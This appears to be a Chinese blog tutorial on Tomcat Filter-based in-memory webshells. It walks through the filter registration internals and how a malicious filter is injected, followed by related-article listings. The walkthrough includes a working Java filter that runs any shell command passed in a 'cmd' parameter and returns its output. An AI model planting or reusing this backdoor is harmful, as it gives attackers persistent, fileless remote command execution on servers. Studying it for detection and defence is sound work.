Filter内存马浅析

手搓Filter内存马从构造到利用讲解(内存马系列篇一) 今天开始细说一下内存马相关的知识点了,我打算成立一个专辑,详细讲讲各种内存马的原理,构造,和检测方,同样包括一下tricks。这篇是专辑的第一篇,详解了Tomcat下的Filter内存马。什么是内存马呢? 阅读详情

1. 何谓内存马?

以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。

Java内存shell有很多种,大致分为:

1. 动态注册filter

2. 动态注册servlet

3. 动态注册listener

4. 基于Java agent拦截修改关键类字节码实现内存shell

该文主要研究Filter内存马的原理和实现。

 

2. Filter注册流程

假设有一个需要注册的filter类——FilterDemo:

其中在web.xml 配置好该filter的映射和作用范围:

也可以通过 @WebFilter 修饰:

filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的;动态下面会说到。无论静态还是动态的,都是通过解析StandardContext中的缓存构造ApplicationFilterConfig,进而生成当前应用请求链路的ApplicationFilterChain,并根据filter的顺序,一个filter一个filter的执行的。

2.1 请求过滤需要的Filter接口

Debug filterChain.doFilter() 方法,启动服务,然后访问主页即可调试:

跟进之,可以看到 doFilter() 的具体处理过程是在 internalDoFilter() 中:

注意,Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致。

总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

2.2 应用启动需要的接口

主要有三个类:

1. ApplicationFilterConfig

2. FilterDef

3. FilterMap

 

2.3 启动前的加载过程

主要涉及到三个类:

1. ServletContext

2. ApplicationContext

3. StandardContext

值得一提的是,在Servlet3.0版本以后,servlet和filter,甚至Listener都可以进行动态的创建,具体可以在ServletContext接口中可以简单看到:

ServletContext 接口中声明 添加filter接口 用来将filter添加到应用上下文。

ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的 addFilter 方法,用于向属性中的StandandContext实例添加filterDef:

StandandContext类中filter关键的3个属性和2个方法:

1. filterMaps

2. filterDefs

3. filterConfigs

4. addFilterDef(填充filterDef对象)

5. filterStart(根据filterDefs初始化 filterConfigs )

查找 FilterDef:

添加FilterDef:

filterStart()中先清空了 filterConfigs的状态:

然后会将新的filterConfig添加到filterConfigs中:

类ApplicationFilterConfig是依赖FilterDef生成的,所以也可以等价理解为:根据 FilterDefs来初始化 filterConfigs

2.4 请求到达时的处理流程

处理请求时,到达 StandardWrapperValve 类的 invoke 函数中:

重点在于创建了filterChain来处理匹配到的filter请求,这里每个请求都会创建一个 filterChain,并不是所有请求共用的一个:

请求处理完成后 要释放掉filterChain:

具体看看 filterChain 实例是怎么创建的:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

查看当前是否存在 filterChain,有则复用;无则new一个。然后初始化配置:

然后从 context 上下文中获取到 FilterMaps:

接下来做两点操作:

1)从filterMap中寻找匹配路径的filter添加到链中:

2.)从filterMap中寻找filter的servlet名添加到链中:

总的来说,从StandandContext中获取filterMap;再从filterMap中找到和request对象能匹配到的filter-name;最后从StandandContext中通过filter-name找到filter-config实例。

最后通过 StandardWrapperValve#filterChain.doFilter() 来获取filter执行:

 

3. 注册流程总结

  1. context启动时,调用ServletContainerInitializers添加filter,调用AbstractFilterRegistrationBean类的addRegistration方法向context添加filter
  2. context中不存在FilterDef则创建对应FilterDef
  3. AbstractFilterRegistrationBean中configure方法添加匹配filter的uri,默认为/*
  4. context启动时,调用filterStart方法配置初始化ApplicationFilterConfig
  5. 调用filter的init方法
  6. 对每次到达的请求在StandardWrapperVavel的invoke方法中创建过滤器链
  7. 根据名称获得ApplicationFilterConfig添加到过滤器链,通过ApplicationFilterConfig来获取filter执行

https://cdn.jsdelivr.net/gh/cnsimo/pic_bed/20200704113125.png

(by 宽字节安全)

 

4. 实现

简单以小马为例:

4.1 编写Filter恶意类

public class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("Filter初始化");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("进行过滤操作");
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().write(output);
                servletResponse.getWriter().flush();
                return;
            }
            /*
             * -->放行<--
             * Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,
             * 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法
             * 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法
             * 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行
             */
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {
            System.out.println("销毁操作");
        }
    }

4.2 获取StandardContext

这个老生常谈了,这里放一个获取StandardContext的方法:

4.3 添加FilterDef

有了恶意类FilterDemo和StandardContext后,参照tomcat源代码来实现注册自定义filter的操作。FilterDef就相当于web.xml中的filter:

Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,这里主要看 addFilter 的实现:

跟进this.context.addFilter函数,发现addFilter的实现实际是在 ApplicationContext#addFilter 当中;当然,也可以动态调试——搞清楚在什么时候 addFilter (添加Filter),就在 ApplicationContext#addFilter 中下断点,然后Debug启动tomcat8服务:

 

在addFilter中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef); 进行添加了而已。此外,我们有了StandardContext,完全可以自行进行添加:

4.4 添加FilterMap

FilterMap用于保存filter名称与url的映射,就相当于web.xml中的filter-mapping:

我们知道,tomcat的filter的创建是在StandardWrapperValve#invoke() 函数中完成的:

通过 createFilterChain 创建一个ApplicationFilterChain:

在 createFilterChain() 中会将匹配到的filter加入filterChain:

注意这里进行if匹配的时候,DispatcherType类型是 REQUEST:

由于我们上面构造好了 FilterDef,接下来直接构造一个FilterMap,再加入 filterChain就好了:(其中urlPattern自行定义好,只有匹配到才会进行filter处理,可以类似理解为一个webshell后门密码的操作)

这里为啥要用 addFilterMapBefore() 而不用 addFilterMap() 呢?

从之前的 createFilterChain() 中添加Filter可以看出是按从头到尾的顺序来添加的:

所以 addFilterMapBefore() 的作用是将当前创建的 filterMap 添加到 filter链的第一位去。

4.5 添加到 filterConfigs

跟进到最开始的StandardContext#filterStart 方法可以看到,遍历了 filterDefs 当中 filterName :

然后把对应的 name 添加到 filterConfigs 当中:

值得注意的是,源代码中是通过 ApplicationFilterConfig (Context context, FilterDef filterDef) 的构造器来获取到filterConfig的:

说明这个类是依赖FilterDef生成的。

同时,继承自 FilterConfig,那么在jsp中,我们可以通过反射 ApplicationFilterConfig的构造器来获取到 filterConfig 对象,然后添加到 filterConfigs 中:

为了适配其他tomcat环境,这里通过反射来获取 filterConfigs:

或者直接刷新 filterConfigs,自动将filterConfig 添加到 filterConfigs 中:

4.6 效果

原始:

访问生成内存马的jsp:

访问内存马:

 

 

java内存马原理和检测方法 内存马为现在的主流webshell技术之一, 一般存在于JAVA环境, ASPX环境也有内存马,但是PHP没有(有不死马,类似条件竞争)内存马主要用途是做权限维持,特点是无文件,代码保存在内存中,导致值守人员不太好进行排查。 阅读详情

相关推荐

内存马初识与浅析

php与Java内存马初识与浅析

Aiwin的博客 1029

浅析JavaWeb内存马基础原理与查杀思路

传统的 Webshell 后门很容易被当前 WAF、HIDS、EDR 等安全设备检测出来,于是无文件落地的内存马技术得以诞生并快速发展。本文简要分析了Java内存马的原理、分类,并实践了主流Webshell客户端管理工具内存马的使用与当前应对内存马的一些查杀思路、手段。

道阻且长,行则将至 8815

ABAP 7.40内表操作新武器:VALUE, REDUCE, FILTER实战详解与性能浅析

本文详细解析了ABAP 7.40版本中的内表操作新语法VALUE、REDUCE和FILTER,通过实战案例展示它们如何简化代码并提升性能。这些操作符在处理数据构造、聚合计算和筛选时效率显著高于传统方法,特别适合复杂业务场景如销售报表生成。文章还提供了性能对比数据和使用建议,帮助开发者充分利用这些新特性。

weixin_30603633的博客 380

学习了解内存马,看这篇就够了!(精华版)_什么是内存马

内存马,也被称为无文件马,是无文件攻击的一种常用手段。虽然由来已久,但是在此之前并未“大红大紫”。近年来盛行于攻防演练之中,攻防演练从2016年的几家参演单位,到2020年扩充到了几百家参演单位,内存马也越来越多的被提起,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。

jennycisp的博客 2645

Webshell隐藏手法深度解析:从文件伪装到内存马,5种实战对抗策略

Webshell作为常见的Web服务器后门,其核心原理是攻击者通过上传恶意脚本文件,获取服务器的远程控制权限。在网络安全领域,理解Webshell的隐藏技术对于入侵检测和应急响应至关重要。从技术实现层面看,攻击者主要利用文件系统特性、服务器解析逻辑、代码混淆和内存驻留等技术手段实现隐蔽。这些手法的技术价值在于能够绕过传统的基于特征码的静态检测,显著提升攻击的持久性和隐蔽性。在实际应用场景中,安全工程师需要应对包括非常规文件扩展名伪装、代码寄生注入、服务器解析漏洞利用、无文件内存Webshell以及多层加密混

weixin_34242819的博客 435

bloom filter浅析(基本概念,概率分析,源码分析)

基本概念 Bloom filter是一个空间高效(space- efficient)概率算法,被用于测试一个元素是否存在于一个集合中。 存在假阳性(false positive,表示实际是假但误辨为真的情况)匹配的可能,但不存在假阴性(false negatives)的可能。也就是说,一次查询返回的结果是可能在集合里或者绝对不在集合里。 最常用的操作是校验元素是否存在于集合中,也可以添加元素,但不可以删除元素。 同时,越多元素被加入到集合中,假阳性的概率就会越高。 Bloom filter一般应用在内存有限

1548

浅析内存马:不同 Web 容器下的注入与查杀方法

传统 Webshell,比如 jsp、aspx、php 一句话木马,会在服务器磁盘留下文件,杀毒软件、EDR 可以通过文件特征直接查杀。而内存马不会落地文件,注入到 Web 容器进程内存中,没有磁盘文件,传统静态查杀失效。在内网攻防演练中,红队拿到 RCE 漏洞后,经常注入内存马实现持久控制;蓝队排查入侵时,很难通过查找磁盘文件发现它。

Karka_的博客 171

内存Webshell马详解

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到。因此内存马近年来越来越被重视,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。

悦分享 5208

从SQL注入到内存马:实战攻防中的权限维持与防御策略

SQL注入作为经典的Web安全漏洞,其原理是通过构造恶意SQL语句,干扰应用程序与数据库的正常交互逻辑,从而窃取、篡改或破坏数据。在攻防实战中,攻击者往往不满足于数据窃取,而是追求更深层次的权限维持,这就引出了内存马(内存Webshell)这一高级技术。内存马通过将恶意代码驻留在服务器内存中,不依赖磁盘文件,从而有效规避了传统基于文件特征的静态安全扫描。其技术价值在于实现了无文件、高隐蔽性的持久化控制,在红蓝对抗、渗透测试等场景中具有重要应用。本文以一次典型的攻防演练为例,深入剖析了如何将SQL注入作为初始

weixin_30466039的博客 376

从CAD图纸到GIS地图:手把手教你用Global Mapper处理DWG文件(含坐标配准)

本文详细介绍了如何使用Global Mapper将CAD图纸(DWG文件)转换为GIS地图,包括坐标配准、图层与属性转换等关键步骤。通过四参数变换和控制点匹配技术,确保数据精准转换,适用于测绘、城市规划等领域。文章还提供了高级处理技巧和质量控制流程,帮助用户高效完成GIS化工作。

weixin_29196891的博客 520

计算机网络实验——入侵检测系统实验

在图1所示的网络结构中,此方案的具体实施:在路由器Router1的接口1出方向配置入侵检测策略,在收到ICMP ECHO请求包时,丢弃并同步向日志服务器报告警告,此时,终端PC2和PC3无法对终端PC0和PC1执行ping操作,并且日志服务器将记录相应的警告信息;在实验一的基础上,添加扩展分组过滤器,指定需要进行检测的信息流的类别,将扩展分组和对应的入侵检测规则进行绑定,使得只对特定的信息流进行入侵检测。加载指定类别的特征库,这里的指定类别是 ios_ips 类别中的 basic 子类别。

放放的博客 1561

Webshell攻防全解析:从原理、检测到高级内存马对抗

Webshell作为一种常见的Web安全威胁,本质上是攻击者通过文件上传漏洞或配置不当,在服务器上植入的可通过Web接口远程执行命令的恶意脚本或程序。其工作原理依赖于Web服务器对特定脚本文件的解析执行能力,使得攻击者能够绕过常规身份验证,直接操控服务器。从技术价值看,理解Webshell的分类(如PHP、JSP脚本型,以及更隐蔽的二进制内存马)和通信机制,是构建有效防御体系的基础。在应用场景上,无论是传统服务器还是云原生环境,Webshell都是攻击者进行持久化控制、横向移动的关键工具。本文聚焦于**内存

z466459262的专栏 477

SAP SM30数据维护实战:条件筛选与动态校验的实现技巧

本文详细介绍了SAP SM30数据维护的实战技巧,重点讲解如何通过条件筛选实现精准数据查取,以及利用表维护生成器事件实现动态数据检查与校验。文章提供了从基础视图创建到高级事件编程的完整流程,包括调用函数VIEW_MAINTENANCE_CALL传递筛选条件,以及在NEW_DATA和CHANGE_SAVE事件中编写业务规则校验逻辑,帮助开发者提升SM30的管控能力与数据质量。

q9w8e7r6t5的博客 520

WebLogic多协议复用机制下的隐蔽内存马注入攻防剖析

在应用安全领域,内存马(In-Memory Webshell)是一种无需文件落地、驻留在服务器内存中的高级持久化威胁,常利用Java反序列化等漏洞实现注入。其技术原理在于通过动态修改运行时内存中的类或注册恶意组件(如Filter、Servlet),从而在应用层面获得隐蔽的控制通道。这种技术的核心价值在于其极高的隐蔽性,能够绕过传统基于文件特征和网络边界的检测,对纵深防御体系构成严峻挑战。典型的应用场景包括红蓝对抗中的权限维持、高级持续性威胁(APT)攻击以及针对Java中间件的深入渗透测试。本文聚焦于Web

weixin_34026276的博客 409

HFSS仿真PCB射频通路间的隔离度

本文介绍HFSS方式仿真带有器件的射频通路间的隔离度,可视为CST方式的补充,二者的结果相互参照。在前期靠仿真确认风险点时,可以作为一种较为直观和可信的手段。

sinat_15150363的博客 1524

YOLOv8的特征蒸馏代码应用讲解(CWD/MGD/mimic/在线蒸馏/逻辑蒸馏)

基于YOLOv8的逻辑蒸馏、特征蒸馏、在线蒸馏等方法代码介绍。

qq_41920323的博客 2582

第33天:安全开发-JavaEE应用&SQL预编译&Filter过滤器&Listener监听器&访问控制

2.extends和implements的区别(extends是继承类,implements是继承接口,也就是上下级的关系)注入语句为: 1 union select 1,2,3,version(),user(),database()4.运行尝试:(使用/test?没有访问/test就有了语句“xss开启过滤",原因是先通过filter,再到servlet。1.可以新建软件包进行分类(右键新建软件包)(很多东西会帮你重构,从而运行不会失败)。22这种没有回显,sleep()是延时回应,输入后没有影响。

m0_74930529的博客 1259

大数据分析实验,包含五个子实验:wordCount实验,PageRank实验,关系挖掘实验,k-means算法,推荐系统算法。

大数据分析实验,包含五个子实验:wordCount实验,PageRank实验,关系挖掘实验,k-means算法,推荐系统算法。

803

floatmap 二维数组_闭包 -> map / floatMap / filter / reduce 浅析

原创: 转载请注明出处闭包是自包含的函数代码块,可以在代码中被传递和使用闭包可以捕获和存储其所在上下文中任意常量和变量的引用。这就是所谓的闭合并包裹着这些常量和变量,俗称闭包。Swift 会为您管理在捕获过程中涉及到的所有内存操作。闭包表达式是一种利用简洁语法构建内联闭包的方式sort方法(The Sort Method)Swift 标准库提供了名为sort的方法,会根据您提供的用于排序的闭包函数...

weixin_39520979的博客 300

电路中的DGND、GROUND、GROUND_REF的区别,VREF、VCC、VDD、VEE和VSS的区别?

DGND是数字地,是数字电路部分的公共基准端,用于连接数字电路的接地。

XU157303764的博客 2331

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

VideoAgentTrek Screen Filter 技术原理浅析:从计算机组成原理看模型推理优化

本文介绍了如何在星图GPU平台上自动化部署VideoAgentTrek Screen Filter镜像,并探讨了该视频处理模型的技术原理与推理优化。文章从计算机组成原理视角,分析了模型在GPU上的数据流与计算瓶颈,并阐述了该镜像在视频内容过滤与增强等典型应用场景中的高效实现方式。

weixin_31459297的博客 95

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

上一篇: 缓存投毒 -- 学习笔记
下一篇: Servlet内存马
angry_program
博客等级 码龄9年 197粉丝 109原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值